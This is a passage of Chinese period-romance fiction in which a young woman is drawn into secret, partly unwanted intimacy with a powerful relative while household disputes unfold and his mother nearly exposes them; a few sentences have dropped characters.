虽在琅玕院做事,但有的事不做也罢,青娥将话压了回去,笑了笑,道:“娘子,想回去时喊一声奴婢,银盘在奴婢的屋里等着呢。” “有劳你了。”提及银盘,祁泠的神色温和许多,带上真诚笑意。银盘跟着她来,总不能在外面站着,能在青娥的屋里暖和呆着也好。 青娥道不必,端着药碗下去了。 晚膳之前,约莫着未到申时,天色昏暗,祁泠看完两卷便不再看了。 她有几分困倦,再看也看不下去,强撑着反倒容易出错,不如停在此处。况且已到晚间,她该回去了。 今日没见到祁清宴让祁泠轻快些许,去青娥屋中叫出银盘,外面飘着碎雪,银盘撑着伞,两人紧紧靠着,在雪中缓慢走回二房去。 方走进回二房的小门里,沉弦不知从何处冒了出来,等在二房的院子里或是候在老宅见到两人再急急迎上,反正最后祁泠一脚踏进二房的院子就被拦了下来。 沉弦虽小但也琢磨出来几分不对劲,对此似懂非懂,声音弱弱对祁泠道:“娘子,郎君寻你……” “他在哪儿?”祁泠两手握着青娥给她灌的汤婆子,听到这处心沉了下来,问了一句。 “在宅子小门旁的巷子里……” 听到这处,祁泠柳眉蹙起,这不是那日何岫邀她过来的地方?怀着一肚子疑惑,祁泠到底还是抬步过去,总不愿将事情闹大,出了小门,银盘仍然紧紧跟着她。 沉弦劝道:“银盘姐姐与我在此处等吧……” “不!我要跟着娘子。”想了几天终于懂了的银盘不敢仔细问祁泠,但打定主意不让祁泠被欺负。虽然反抗祁清宴也不敢,但紧紧随着祁泠的脚步已然表明几分决心。 “银盘,你和沉弦一起玩一会,我同他说几句话……便回来。”祁泠早就知道,她身边也有对她真心的人,银盘得知此事如此,冯夫人更会。 她鼻尖发酸,抚了抚银盘的手,阻了她跟上,自己提裙角,踩梯子,进马车内里。 方一入内,腰间便缠上一只手,再反应过来已然进了那人怀里,祁泠强压下一声惊呼,侧坐在他膝上,想要起身又被拉回去,重重落下。 愈发过分,祁泠隐有几分恼怒,面色涨红,回头却见祁清宴与往日有些不同,白皙肤色眼尾染上三分薄红,声音中醉意带着些许沙哑,低低唤她祁泠。连名带姓的唤着她,倒比唤她阿泠时更缱绻,音绕在舌尖。 祁泠偏过头,不看他这副勾人模样。 祁清宴伏在她鬓边吃吃笑几声。祁泠不与醉的人理论,正襟危坐,严肃道:“找我有何事,今日看过帐,我要回二房去了。” “只是与你说一声,”他语气含着惋惜:“我恐怕要离开建业一阵子。” 祁泠惊得一呆,肃然的神情消失殆尽,唇上落了一吻,他稍抬头,扶着她的脑袋,近近瞧她的眸子,笑问道:“怎么看你很是高兴?” 第36章 第三十六章【VIP】 祁泠微后仰,避开他掺杂醉意的视线与眼神,红润的唇齿轻启开,又阖上,说不出假话,也不搪塞他,只是好看的眉眼垂落,脖子挺直。 细微的神情和动作表明她就是这个意思,听见他要出门很高兴,无端透出几分娇矜意味。 祁清宴笑,格外喜欢她不常露于人前,只对着他的小举动。 “我们出去半个时辰如何?”他滚热的指腹轻抚着祁泠耳后,带来丝丝缕缕的痒,她无处躲,抬起手制止他的动作,柔夷反倒被他握在掌心,轻轻揉捏,一时也不再动。 只是听祁清宴这般说,她口中下意识说出个不字。 “嗯?”郎君语调轻扬,虽然柔和却带着些许压迫和疑惑,起码在祁泠听来是如此。 她当然不愿意随他出去,在府中都不想去琅玕院,被迫承受他愈发过分的举止,更何况更危险的外面,想着如何拒绝,“……我要去二房接漪漪。” “让旁人去也是一样。云漪自有叔母和下人去带,又不是你自己的孩子,何必事事操劳?”祁清宴向后倒几分,脊背放松,是一种散漫又放松的姿态,挑起她耳后碎发,缠绕在指尖,看着如绸缎的青丝滑下,重复动作。 祁泠含怒瞪他一眼。 祁清宴笑着道不说了,她本是这样良善性子,从不想有了祁云漪,冯夫人对她关注少了许多。反倒自祁云漪出生后,学着大人模样,处处照顾妹妹,比寻常人家的母亲都细致贴心。 祁清宴觉得这样傻,可由祁泠做起来却只让他心生爱怜。正是如此,才是祁泠,爱恨分明,不夹私欲。 她是个实心眼的人。 他道:“让你的小丫头代你去接,半个时辰我们就回来了?” “不行。”祁泠拒绝得斩钉截铁,说话时又摇了摇头。祁清宴知道各房宵禁关门的时辰,一个时辰的空余是绝对有的,他等着祁泠解释,她才慢吞吞道:“我今晚要陪母亲一同睡。” 祁清宴一愣神,毕竟除了阿濯,他许久没听到旁人说要和母亲一起睡。他转瞬就猜到她的用意。 如此小心思呀,怕他将她留在琅玕院,晚上不放她回去。 他笑出了声,只是祁泠面上神情愈发僵硬,知道她的小心机被看在他看在眼里,侧过头去不看他。 “那我们只出去一炷香?准送你回来。”祁清宴道。 一炷香不过四分之一时辰,有时走个神就过去了。祁泠不解他为何非要带她出去,问:“去何处?” “陪我观景。” 祁清宴起身,从马车侧旁的箱中拿出一件宽大的漆黑斗篷,上面有新洗过的皂角味,兜帽罩住祁泠脑袋。 他又朝祁泠伸出手,她仍在犹豫,手被牵住,知道他的执拗,只好跟着朝外面走。一手拉住兜帽边缘,下压,幸而兜帽够大,能遮挡住她大半张脸,只露出个下颌,让人看不出是她。 祁清宴将人抱下马车,贡承兄弟二人皆在,弟弟贡嘉和上次一样,站在路前看着人,而贡承牵着马,将缰绳递给祁清宴。 祁清宴走近,祁泠稍抬起头,看清是一匹浑身乌黑油光水滑的乌骓马,一双漆黑的大眼睛满是高傲,被带着走到她面前,对她嗤了个响鼻。 “墨雪。”祁清宴斥一声,名叫做墨雪的马儿变得乖巧起来,四蹄听话,再不瞎刨地上的砖石,也不对着祁泠出气。 他翻身上马,对着祁泠伸出手,想与她同骑。 祁泠道:“我不会。” 她在江州长大,性又偏静,能凫水还是因着江州多水,万一落水有法子自救不会丢了性命。骑马不行,冯夫人年轻时会,后来也无空教导她。 “以后我教你,今日放心便好,我带着你。”祁清宴将人带上马,松了松缰绳,夹紧马腹,墨云仰起前蹄,向前奔去。 祁泠没有准备,往后一倒,顿时紧贴在他怀中,正好合了祁清宴心思。 周遭快速退后,从兜帽下方灌进来的风也烈。祁泠没感受过如此大的风,马蹄噼里啪啦落在地上以及周遭几分几声喧闹入耳。 她害怕他纵马会碰到人,稍微抬头,风吹落兜帽,还未来得及惊慌害怕被熟悉的人看见,与寻常不同的街景已然映入眼中。 在江州时,她曾在晚间到街上去过,可那皆是上元、仲秋日,街上人多。冯夫人守礼,寻常从不允她在外面呆到天黑。 与她见到过的人声鼎沸,与江州狭小的巷子也不同。建业路宽可几辆马车齐驱,此刻甚是冷清,空空荡荡没有人影,店肆的灯笼悠悠挂在招子下,随风晃着。 金乌藏起,苍穹昏暗,各熄,从她眼前飞速闪过。迎面吹凉,心中发热,格外自在。 她新奇地感受周遭的一切,不可自抑地睁大眼,忽视了身后抱紧她的人。 雪中纵马,尽头是城墙,,一步步走到最上面。 身后是建业城中户户规整的人家,星星点点的亮光挨着,满断的起伏山峰,犹如蛰伏的巨兽,脊背落雪苍白,待。 祁泠站在高处,心脏扑腾扑腾跳,惊好看,这么不同,,没有一点顾虑。 还有便是,城外竟如此宽阔,而她好像被困在宅院里,身心皆被束缚,从未出去过。 她望着山峦不尽之处,心生出几分向往来。 祁清宴忽而问她,“你可有小字?” 祁泠答没有,她也习惯了被唤阿泠,其余时候都随长辈唤就好,她沉浸看看城内,再看看城外,没多搭理祁清宴。 他自顾自道:“及笄时应当起小字……你觉得媅字可好?” 媅,阖家欢乐,意为安乐。是她所期盼的,但在他身边她如何能有家,如何能安乐? 莫不是故意气她,祁泠的好心情败了几分,板着脸冷冷扔下一句:“不如何。” 他又问她喜不喜欢,祁泠自然喜欢这样好寓意的字,只是从他嘴里唤出来格外刺耳,她被气得故意道:“喜欢,等以后我们一别两宽,我可以以此为字。” 身旁的人没了声响,这话确实不好接。 祁清宴盯着她,眸色黯了黯,那个反复盘旋在心头的念头在此刻彻底落地,生出枝芽来。 他不想一别两宽,与她分离。 若她之前允了在外另置一宅,两人如今已在长辈面前过了明路,而她执意留在家中,私会总不是长久之计。 脑子因饮了酒而几分混沌,他打算明日再仔细想想。 顾念时辰,两人只站了片刻便要原路回去。 离祁府小门不愿,墨雪忽而停下,祁泠有些急,想要下马,此处拐个弯便能见到候着的侍从。 而祁清宴揽紧她的腰,颇为舍不得,原以为独处是寂静,此刻才知那是孤寂,他道:“亲一下,放你走。” 祁泠气他揽着不让回去,心头又害怕,生怕万一府上有主子出去或者回来路过看见怎么办?尤其她听祁望舒说过,祁观岚总是晚间回去。 她只好回头,唇敷衍地落在他面上,随后道:“好了,我回去了。” 怎么能处处糊弄他呢? 祁清宴低头,目光幽深,“不对。” 祁泠人在马上不得不低头,看了看左右,无人过往,只有纷纷雪落,她抬头,唇印在他下唇,蜻蜓点水一留,随即立刻往后撤去,脖后却被扶着。 祁清宴俯身,唇重重覆上,雪落在两人发梢,悄悄融成滚圆的水珠。 …… 祁府内二房皆灯火通明。 大房气氛沉沉。二房冯夫人等着两个尚未回来的女儿。二房主人尚未归,祁望舒祁既白兄妹两个一同陪着祁云漪和阿濯,看两个小的闹得正欢。 瑞蔼堂内,听荷端着汤盅,掀开厚厚毡毛帘子,一进暖阁,内里温暖如春。落了初雪,老夫人怕冷,便搬进暖阁,又用上炭火。 她将汤盅奉到老夫人身边,道:“老夫人,二郎君还没回来,那院的灯还没点。奴婢路过膳房,端了碗熬得软烂的百合莲子羹来,老夫人用上些,赶快歇息,莫要等了。” 沈老夫人拿过汤盅,心里头挂念着事,全无胃口,又放在一旁,一声叹气内里含忧:“二郎在外面住久了,心也愈发野了,自己的生辰说不过就不过了,就算不喜热闹,但家里人聚在一起用顿饭听几句祝词也好,怎能连家都不回?” 就是老人家想看孙子了,听荷上前,轻轻按着老夫人的肩,不免从中劝慰:“二郎不是派人传了信给老夫人?年岁将至忙得脱不开身,只几个交好的在外吃酒聚聚,过几日有空了再来给老夫人请安。” 沈老夫人闭目养神,良久开口问道:“今日大房那边有什么动静?” “没呢,大夫人起早去上香,午膳前归府了。”听荷说后,迟疑片刻又道:“奴婢倒是听说那边的嬷嬷同人闲谈时露了两句,只是下人说的话不知真假,不敢说到老夫人面前惹您烦心。” 沈老夫人颔首允她说,听荷才接着说:“约莫是昨个或是前个,大夫人喊了二郎君过去,又提起婚事。大夫人有意让慕容氏的小女娘来府上住几日,郎君没答应,大夫人便斥了郎君几句没良心,母子不欢而散。” 老夫人哼哼几声,说什么到府上住几日,还不是打着让本家侄女嫁进来的算盘,否则一个及笄完了的女娘到人家府上住什么,“不愿便不愿吧,慕容家的有一个就够了,大房夫人还算好的,再招来一个,不知性情如何,还是算了。只是……” 她阖目道:“二郎的亲事也该相看起来了。家中有个系着他的才好,省的总是不着家。” 第37章 第三十七章【VIP】 银盘撑着伞,步子迈得小小的,走进二房院落时她仍心不在焉,悄悄侧过头去觑着身边的祁泠,她家娘子正用帕子遮着唇,又不停擦着,神情颇有几分愤愤。 银盘将声音放得特别轻,试探着问:“娘子,三郎君他……他是不是要和娘子在一处……” 风吹动发丝带来凉意,祁泠浑身一僵,外面其实不冷,她今日穿得又厚,只是从银盘口中听得这话,到底戳破了她自欺欺人的表象。 她怕的便是被身旁亲近的人知道,她该如何解释? 沉默便是结果,银盘不是什么都不懂的小丫鬟,略有些迟钝,皆因打小由着姐姐关系被爹娘送进府来,跟着祁泠身边长大,少见阴暗。 她静下心来琢磨几日,回想起蛛丝马迹,自然有了猜疑,今日又见如此情形……她从前还欣喜于和娘子与三郎君交好,真是傻透了。 银盘道:“娘子去告诉夫人吧,总要有人替娘子做主。” “银盘,莫要告诉你姐姐,也不要对旁人说,包括母亲。”祁泠停下脚步,转过身来对着银盘,语气少有的严肃。 银盘气得脸色通红,祁泠却反过来安慰她:“没有你想的那般糟,目前还好。你不是要随着我出嫁吗?我们只当在府中再留一阵子,我多陪陪母亲,你也陪陪姐姐。” 银盘听进去几分,但也为祁泠委屈的慌,从前她认为祁清宴千好万好,今日算是彻底改了想法,道:“奴婢没想到,三郎君竟是这么恶毒的坏人,奴婢……” 她绞尽脑汁也想不出她能对祁清宴如何,毕竟她只是小小的侍女,姐姐也是侍女,府外的父母又要靠着姐妹两个的俸禄过活,对祁清宴没有任何威胁。 “奴婢以后再也不和沉弦说话了!” 银盘只能想出这么个法子,来表达她对祁清宴的不喜。 祁泠失笑,“沉弦又有什么错,一个小孩子而已,你无事同他玩就好。” 前面便是冯夫人的正院。 内里仍点着灯,两人说话间周围有了侍从,银盘想接着说,被祁泠的示意一下就闭了嘴。 祁泠望向院前,却是脚下一停。 正院门前,雪簌簌落,小厮撑着伞,有一少年着鹤氅静静候在那处,低着头,一副失落样子。 银盘率先行礼出声,“四郎君。” 祁雪峤拿过小厮手中伞,向前走了一步,目光落在祁泠面容上。上次他求她帮忙整理古籍,她仲秋前一日便托侍女送还给他了。 之后他还没来得及寻到由头再去寻她,便撞见院中一幕…… 他总不愿相信那是真的。他自己对祁泠心有几分恋慕,怎会不知晓祁清宴的心思,只是他悄悄将人放在心里,而祁清宴是光明正大地夺取。 可祁雪峤无能为力,也曾想过告诉父亲,但迟迟等不到的官职在祁清宴的关照下有了进展。若他告发,二房对祁清宴毫无办法,只是他的处境更难,在祁家只手遮天的祁清宴不会放过他的。 他只能当做没看到,暗中期盼祁泠并不愿意。此刻看着祁泠,她一如往日好看,清冷神色融入雪中,只是……唇略有些红肿润泽…… 祁雪峤久久失神,回过神是祁泠走上前,疑惑询问他有何事。毕竟两院寻常没有往来,而他一举一动都是柳姨娘授意,出现在正院不免让祁泠忧虑。 他垂下眼帘,压住心中不能平息的波澜,发出的声音连他自己都觉低沉,“姨娘来拜见夫人,我进里请过安,在院外等姨娘出来。” 柳姨娘为何在这么晚来正院? 两院向来不和,祁泠怕冯夫人被气到,提起裙角便往进走。祁雪峤再抬头时,祁泠已经走出几步远,他开口欲要替姨娘辩解,但祁泠心系冯夫人,走得极快,他只能见到她远走着急的背影。 冯夫人不会在内室见柳姨娘,只在堂屋,故而祁泠掀开帘子,一眼便瞧见内里两人。 冯夫人坐在上首,和寻常的衣着并无差别,只是素净长裙。 柳姨娘从前出现在冯夫人面前总是精心打扮过的,今日却不同,打扮的很是寡淡,水白色的白棉裙,侧挽发髻,簪一玉梳。 她不算好看,扔在人堆里也毫不出奇,更比不上冯夫人年轻时,五官平平淡淡,只是凑上一起,如温水般,温和无害。 泠来了,毫无架子地起身,到了祁泠面前,对祁泠冷淡防,眉眼弯起,声音轻柔,“三娘子回来了,妾身许久没见三娘子了,真是出落的愈发水灵,端庄大气,,还孩童般不听话。婚事不成也不打紧,何家一小户,配不上三娘子,,在家中久留些,大人也欣喜。” 闻言,祁泠生出几分惊讶来,毕竟往日的,再无初进府的局促不安,有了依仗, 起码祁泠从未见她如此伏低做小的模样,像变了个人似的,她下意识望向冯夫人。 ,察觉祁泠的疑惑,轻扯嘴角以回。 母女两来回一个眼神便知晓了对方的意思,有什么话都要留到无人时讲,既然柳姨娘如此态度,伸手不打笑脸人,祁泠唤了声姨娘。 柳姨娘诶呀一声,,态度格外谦卑恭顺,回过头来与冯夫人又行一礼,格外标准,又道:“既然三娘子回来了,妾。夫人要好好养身子,人操持。” 冯夫人颔首,她身边站着的嬷嬷冷着一张脸,铜铃般瞪着柳姨娘,直到她走出正房的门。 祁泠上前,扶着冯夫人回内室,让冯夫人撑着她的胳膊,问:“母亲,她来咱们这做什么?” “无事不登三宝殿。”旁边嬷嬷冷冷哼了一句,气愤道:“夫人对她态度那么好做什么?早该在她开口吐出第一个字的时候就将人轰出去,免得听她后面的胡话。” “好了,由她去吧。”冯夫人态度淡淡,握住祁泠的手,神色十分疲惫:“柳氏今天来也目的也简单,想抬一抬身份。” 祁泠心中一紧,听说柳姨娘生了祁雪峤之后已经抬了良妾,如今还要做什么?上面有正房夫人,她想做侧室? 她方才还有几分暗惊为何嬷嬷情绪如此激动,等她自己听到这儿,心中沉甸甸的难受,替冯夫人难受,“要求身份,到母亲这里做什么?” 冯夫人道:“柳氏说,因为出身,祁雪峤被同僚欺负,外人对他有偏见,上面也不器重他。方才她哭得一把泪,说只求在外人面前说她是侧室,不为她自己,只让祁雪峤少受些欺负,有个好前程而已。” 祁泠心被气得跳得飞快,从前只是妾室都能针尖对麦芒,时时想要压过正院,要是真成了侧室,日后岂不会更加嚣张。 她原本便怕若她有一日从祁家嫁出去,冯夫人会受欺负。想起柳氏走出门时的态度,她心中一惊,问:“母亲可是答应了她?” 冯夫人不语,但祁泠太过担忧忐忑,握紧冯夫人的手,她才道:“我答不答应她有何要紧。你父亲那里允了,禀到老太太面前,对祁家子孙有益处的事,老太太没有不答应的道理。” “父亲已经答应了?”祁泠紧张追问道。 冯夫人摇摇头,“我不知晓。” 祁泠猜着,若是父亲开口答应了柳姨娘,如冯夫人所说,老夫人也会答应,此事板上钉钉。柳氏再来正院便会是耀武扬威,暗中气冯夫人的态度,绝不会如此谦卑。 应当是父亲听了没允,或柳姨娘还未同父亲说,届时到父亲面前,用夫人同意的说辞。依祁泠对祁观复的了解,他只会沉默后应允。 “母亲!她有求之时便恭顺,视母亲为夫人,可寻常对母亲只有恶意。母亲不同意,父亲不会应允她。” “阿泠,别再说了。”冯夫人坐在软垫上,拿袖中帕掩唇咳了几声,或许表面风轻云淡,但心中也动了些情绪。 她面上几分无奈,望着祁泠,眼神爱怜还夹杂着愧疚,“我本不想与你说这些,教人听起来太过伤感,而你还是个孩子,该整日开怀。但今个碰到与你说也罢了……我活着,依你所言,是能阻她,不许她往上爬,可若我死了呢?” 冯夫人晚间总是无力,知道自己身子终究是亏损太多,向后靠着,声音低低,“正房夫人的位置,总不会一直空着……” 闻言,祁泠眼中滚出大泪珠来,崩溃靠在冯夫人腿边呜咽,重复念叨着母亲不要这么说。 冯夫人看她实在可怜,等她没了,祁泠才是真正的无依无靠之人,她用手帕擦掉祁泠眼下的泪,“别哭,谁没有生老病死,我只是想起来说一嘴而已。只要我活一日,总是要护着你与漪漪的。” 祁泠哭着摇头,心底里却知道冯夫人说的对。柳姨娘一个毫无身份的妾室,哪里有与正房作对的胆子,仗着她生了祁雪峤,而冯夫人身子又不好,在江州时险些过世。 她只要等冯夫人一没,正室的位置若无差错,定是她的。从前她能沉得住气,只是如今遇上祁雪峤的事,才低声下气求上正院。 明白道理,但祁泠仍是伤心。她只大哭几声,便低声啜泣,忍着哭意,怕冯夫人伤心。 冯夫人拍着她的肩,“快去洗把脸,漪漪方才与小阿濯一同回来,两个小的扒了口饭,一同睡下了。咱们母女也用膳,晚间只我们两个睡。” 祁泠用冯夫人的帕子擦干净脸,点头应是,下去命丫鬟打了凉些的井水来,冯夫人在内室听见了,以为她要敷一敷眼下哭过的红肿,没多管。 确实如此。祁泠仔细洗了眼睛,又冰了冰发红的唇,随后神色如常回了内室,母女都像是没发生过这回事,一同用过膳后睡下。 冯夫人睡熟后,祁泠轻手轻脚从外榻起身,拿起披风出门去,玉盘哄着两个小孩子,今日守夜的是另外脸生的侍女,见祁泠醒了,问:“娘子要喝水吗?” 祁泠道:“小声些,莫惊扰了夫人,另唤侍女来守着夫人,你带我去寻嬷嬷吧。” 嬷嬷在正房的地位相当于半个主子,晚上也回房睡去了,侍女听话另唤了人来守着冯夫人,以免冯夫人醒了要喝水或者如厕无人侍奉,带着祁泠去了嬷嬷的屋子。 嬷嬷披着棕色如意纹圆袍,急急忙忙就出了屋,知道祁泠避开冯夫人分找她定有事。 果然,祁泠遣退了侍女,同嬷嬷行了一礼,嬷嬷大惊,忙搀着她手臂起来,“娘子这是为何?奴婢担不起,有事告诉奴婢便好。” “是母亲的事……我知道母亲说着无碍,但柳姨娘这事会压在她心头。父母之事,我不好掺和其中,但也无法眼睁睁母亲因此伤怀……思来想去,只好劳烦嬷嬷明早去一趟父亲的书房,将柳姨娘今日在此说的话,还有母亲同我所言一一告诉父亲。” 嬷嬷听后,下意识道:“娘子,夫人她……” 冯夫人从不去找祁观复告状,要是夫妻两人时常沟通,也不会走到如今地步了。 冯夫人绝不会应允的,祁泠也知道母亲惯会隐忍,说着她已然带上了哽咽意,“我知道母亲的意思,但今日听母亲说什么以后,我与嬷嬷一样难过。柳姨娘从前便时常惹母亲生气。这回如她所愿,来日说不定又会说什么话来刺母亲的心,我怕母亲事事憋在心里,身子更衰败下去……” “若是来日母亲知晓,嬷嬷也不必替我遮掩,只说是我命嬷嬷去的便好。父亲对母亲还有情意,也惦记着母亲康健,要是知道母亲也为此难受,或许不会应允。那边知道不成来闹,嬷嬷也让她找我便是了。” 嬷嬷也为冯夫人担忧,只是她到底不是主子,举止难免受限,得了祁泠的话心里有了准,心下思量几番,这事还是她去说才好,祁泠小辈告状到祁观复面前总会显得娇蛮无理取闹,她去便严重许多,一时嬷嬷将明日要如何说都想好了。 看着思量周全的祁泠,她也有几分欣慰。从前的三娘子全听冯夫人的话,若冯夫人说了不行,她绝不会反驳,如今有了自己的打算,才算真的长大了。 祁泠忧心忡忡等到翌日,嬷嬷去过祁观复的书房,又来向她回了话。 她得知父亲并不知道此事,嬷嬷去过一趟后,柳姨娘想要成侧室的事石沉大海,暂时没了声响。 她也有私心。 她不在乎祁雪峤的仕途如何,她只担忧冯夫人的身子,她要守着冯夫人,绝不让母亲难过。 二房风平浪静过了两日。 祁泠每日守在正房陪着冯夫人,只是防着有抬柳姨娘为侧室的消息过来,或是计策不成的柳姨娘找上门来,始终放不下心。 直到早上用膳时听冯夫人问起,她才想起来还要去琅玕院。 思量着祁清宴说的要出去一阵子,她斟酌着说辞,显得与祁清宴不那么亲近,“上次我去琅玕院,听侍女们说,他好像要出去一阵子,应当不在院中。” 冯夫人用完早膳,呷一口茶水,之后微微笑道:“我知道,确有此事,三郎前几日派人来与我说了。” 还未等祁泠松懈下来,冯夫人又道:“好似他还没走吧?三郎说他走前会派人来告诉你一声,在那之前,无论他在不在,你只管去琅玕院是了。他会把账册准备好,走前抽空一起看了。” 祁泠手心攥得咯吱响,一时讨厌死祁清宴了,不在府中还要给她找事情,道:“我看我算过一遍,他还是要看的,去不去没有什么用处……” “让你去便去是了,你能学到东西,三郎都不嫌费事,你怎么能说不去?三郎也为你好。”冯夫人说着,不免感叹一句:“你们俩关系倒是好。” 此话一出,祁泠郁闷到极点。她又岂知冯夫人是怎么想的,祁泠只有面对特别亲近的人才会撒娇嗔怒,那些小性子也对着祁清宴使,冯夫人当然认为两人亲近。 祁泠只能憋屈去了,去前嘱咐嬷嬷看好冯夫人,二房出了事赶快去寻她。 走到琅玕院,她也看出这的主人将要远行,青娥正忙着整理东西,迎她进门后,将侍奉她的活计交给了碧若。 谁侍奉她并不重要,祁泠自顾自进了书房。 账册仍是三册,祁泠这几日提心吊胆守在冯夫人身边,心神皆疲惫,书房又格外暖,旁边没有祁清宴,令她格外放松。 祁泠不免困倦,勉强睁着眼睛算了一册,低头靠在案桌,想着只闭一下眼睛,却又沉沉睡了过去。 …… 午时的琅玕院迎来一位不速之客。 身穿交领右衽绛紫深衣的夫人外披氅衣,发髻高挽翠钿为饰,典雅庄重,身后带着两仆妇,两侍女,浩浩荡荡走进琅玕院的正门,迎上来的只有小厮。 大夫人蹙眉,“怎么没见侍奉的人,青娥呢,碧若呢?正当值的时辰,她俩都去何处了?” 小厮谨慎答道:“禀夫人,青娥替郎君整理行囊,发觉缺了药材,亲自去了药房领。碧若今日当值内室,想来应在屋内洒扫。” 大夫人嗯一声,自打吵过一架,儿子再没去给她请安,他临近在即,为母担忧,难免找到琅玕院来。 碧若听见院中声儿从自己屋迎了出来,俯身请了夫人安,道:“郎君今日回了一趟,方又去了老夫人院中,还未归来。” 儿子与自己不亲近,只要归府定去瑞霭堂请安,而她连个消息都不知晓。 大夫人心里几分不痛快,又不敢与婆母争这个*,只是早不喜琅玕院的侍从,只听祁清宴的话,挑理道:“你不是当值内室,怎么从下人房中出来?” 碧若垂着头,能在琅玕院做大侍女,她虽然心直口快,但脑子必须转的快,此刻有解释萦绕舌尖,她大可说是自己的错回屋偷闲一会儿,或说自己做完活计,在做针线,推脱干净…… 可是想起屋中的女娘。 她明明出身低微,运气好成了祁府的主子,实际比不过任何正经人家的女儿,却偏偏得了郎君青眼,得了所有的好,在琅玕院如女主子。 院内为她撤去郎君常用的提神香气,悄悄换上无色无味令她安神养身的香,为她一直烧炭取暖,所有人为她守口如瓶。 她让如清风朗月般的郎君着迷染瑕,又做出一副不情不愿的模样,碧若视郎君如神祗,难免生出几分嫉恨。 “夫人面前还支支吾吾,犹豫什么!还不快说!”大夫人身边的仆妇严肃斥道。 “因着郎君嘱咐过,屋内若有人不许下人入内侍奉。”犹豫了许久的话被这一斥,竟然这么容易的脱口而出,碧若还有些愣怔,大夫人已然找出她话间漏洞,“有人?怎么回事——” “你方才不是说三郎去了瑞霭堂,那如今谁在屋中?” 话已出口,碧若却生出悔意来,若被夫人知道了,那郎君……她浑身卸力,伏倒在地,肩头不停颤抖。 大夫人瞥跪地的碧若一眼,不再理会,冷道一声:“开门,我倒要看看,这院里到底有何名堂!” 若是旁人,琅玕院的侍从们敢拦,但那是大夫人,祁清宴亲母,大房名正言顺的女主子。 外面隐有声响,似乎是说话声。 祁泠睁眼,入目而来又是陌生的床帐,发上轻松,想必又被他卸了钗环,这回连外衣都褪了,只余中衣。 不知为何,每次在琅玕院总是睡得很沉,浑身松泛,她坐起身,方披上外衣,便有急急的脚步声从外传开,祁泠原以为是祁清宴,因冯夫人说他这几日还没离开。 一抬头,却见大夫人惊诧的面容。 女娘从床帐中起身,内里雪白中衣,外面搭着外衣还没穿好,眉眼仍有怔忪,青丝垂落,明明是刚睡醒的模样。 若是个陌生女子,大夫人会当成祁清宴新纳来的通房,可抬起的脸如此熟悉。 大夫人失了风度,伸出颤抖的手指着祁泠,声音尖锐,“你、你为何会在这里!?” 祁泠的手指紧紧攥着外衣,指尖用力到发白,被质问的一瞬羞愤和耻辱盈满心间,她无力改变出现在此的事实,只站起身,身形格外单薄令人心疼。 “夫人!”青娥焦急的声音传来,屋内几人回首望去,先见到的却是祁清宴,他长身玉立门口,薄唇微抿,漆黑如墨的眸子望向祁泠。 他身后跟着震惊又慌乱的青娥。 第38章 第三十八章【VIP】 祁泠望着他,目露哀求,潋滟的眸子里泪水在不停打着转。此刻,只要他一承认,她便完了,这辈子都完了。 于她而言的绝境,对祁清宴来说却是个机会。 正好在此刻说清,他所担忧的分离便不会有。他会使些法子,如他最初打算的那般,在长辈前面过了明路,将她接出府去,二房虽有怨言,也会被他使手段压下。 可祁泠不愿意。 罢了。他已想到其他周全法子,两人姻缘,总不能他一人欣喜,再瞒一阵也可。 此刻便道:“母亲,是我邀阿泠来的。” 他面色平淡,如常抬步往前,到了大夫人身侧,稍微靠近祁泠那边的位置。虽没明明白白表明偏向,但已经是袒护的意思,将大夫人的火气全揽过去。 怒极时,看自己的儿子也不顺眼,大夫人朝着祁清宴道:“邀她,你与她之间能有什么联系?”她惊愕到脑子微微有些麻木,转不过弯到底是怎么回事,不敢相信浮现心中的猜想。 青娥则快步跟上,站在祁泠面前,遮挡住望向祁泠的视线。 “在叔母处请了阿泠过来理帐,祖母亦知晓,母亲若有疑,去问叔母和祖母便好了。”他掀起眼帘,平静地看着大夫人。 大夫人眯了眯眸,审视着祁清宴的神情,可他一如既往的不动声色,无波无澜,能将心思藏得很好,已经和小时乖巧听话的孩童不同了。 她便移了视线去看祁泠,在被青娥遮挡住时,祁泠已然整好外衣。 女娘衣衫无一丝褶皱,站在一旁照常向她行了礼,只是眉眼低垂,令人看不清神色。 是和往日一般的柔顺沉默罢了。 大夫人拧眉过深,眉心出了几道沟壑来,原本肃廖的神色更令人胆颤,显露着当家夫人的气势,“是,以你所言,为何会衣衫不整睡在内室?” 青娥闻言跪倒在地,“夫人,是奴婢的过错。奴婢看郎君不在,娘子看账太过劳累,便扶娘子到内里小榻上歇息一阵儿。以为郎君今日不归,才替娘子更衣……是奴婢逾矩,坏了琅玕院的规矩。” 这是在琅玕院,内里的侍从心都是齐的,问也问不出什么。 大夫人神色几经变换,最后死死盯住了后面的祁泠,深呼吸几口,渐渐平复了心中的狂跳,身侧仆妇察言观色,扶着大夫人坐在一旁的扶椅。 她绝不相信自己儿子会做出这般的事情。若说是旁家浪荡郎君,看上同住一府的没有血缘便宜妹妹尚有可能。 他们两个,祁清宴与祁泠却不会有事…… 但大夫人确定不了,毕竟今下士族郎君们闹得太过荒唐,她不喜祁清宴同谢氏的郎君一同玩的,谢氏是煊赫,比慕容家还更好些。但她怕祁清宴跟着谢子青一起会染上不好的习气。 她压下心绪,表面长舒一口气,道:“即如此,倒是我太过惊诧失言了。但若是庄重的娘子怎么睡在男子居卧?祁泠,你既然在祁家长大,我作为长辈,也奉劝你一句谨言慎行,好自为之。” 大夫人出乎意料的平静,从手上褪下来个成色极好的白玉镯来,交由身旁仆妇的手,抬眸眼神扫向祁泠,仆妇心灵神会,走向祁泠。 她又道:“只是这样的事,说在自家当中还好,若是传出去务必于你二人名声有碍,尤其对你,祁泠你可知晓轻重?” 祁泠点头,袖中的手攥紧,心中忐忑不安,面上却强做出七分镇定意来,“夫人,是阿泠莽撞,此后不会再来琅玕院惹人闲话。在外也会谨言慎行,不会传出一点不妥的风声。” 大夫人点头,“玉镯便留给你当个念想吧。即为女儿家,早晚也会从家中嫁出去。” 大夫人说话间,仆妇已走到青娥面前,青娥望了眼祁清宴,得了应允后才往后退一步,让出祁泠身前的位置。 仆妇拿起祁泠垂落一旁的手,只见女儿家肌肤细致嫩白,比这养了多年的玉还有光泽。她捏捏祁泠手腕,从手腕处捏到指尖,有时停顿仔细感受下,笑道:“娘子的手真是小。” 语毕,又捏了捏另一只手,她专心致志,眼睛也趁空盯着祁泠抬袖时的胳膊侧,微敞开的领口。 仆妇动作极快,没耽误太长时间,最后将宽大的镯子套在祁泠右手,走回大夫人身边。 “我这便回去了,,你随我来。” 大夫人走了,屋内转身只剩祁泠,祁清宴,还有跪在地 